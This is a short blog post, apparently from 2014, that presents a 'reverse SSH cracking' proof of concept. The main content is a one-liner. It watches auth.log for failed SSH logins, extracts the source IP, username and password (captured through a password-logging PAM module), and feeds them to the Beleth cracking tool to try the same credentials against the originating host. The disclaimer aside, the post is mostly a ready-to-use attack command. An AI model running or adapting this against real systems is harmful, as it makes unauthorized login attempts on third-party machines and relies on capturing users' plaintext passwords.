Monday, January 27, 2014

Reverse SSH Cracking with Beleth and PAM

Disclaimer

Attempting to gain unauthorized access to remote computers is illegal, and I am not responsible for any use of this proof of concept in a live environment.

Introduction

This is an incredibly rude one liner that attempts to crack remote SSH passwords when an incoming login attempt fails.

Prerequisites

In order for this little trick to work, you'll need to setup a PAM module that I wrote about in a previous post. I recently pushed an update to Beleth that allows passing a single password via the command line interface, so you'll need to grab a fresh copy from the github.

The one liner

tail -f /var/log/auth.log | stdbuf -o0 sed s/[:\(\)]/\ /g|awk '{if ($13 ~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {print "beleth -t "$13" -u "$14" -P "$15}}'

This parses through the authorization log and is continuously updated with failed login attempts. It uses sed/awk to grab the remote host, attempted user, and password combination. Beleth then uses the information to attempt the same login credentials on the remote host. stdbuf ensures that the streams are being properly flushed so that it works in real time.

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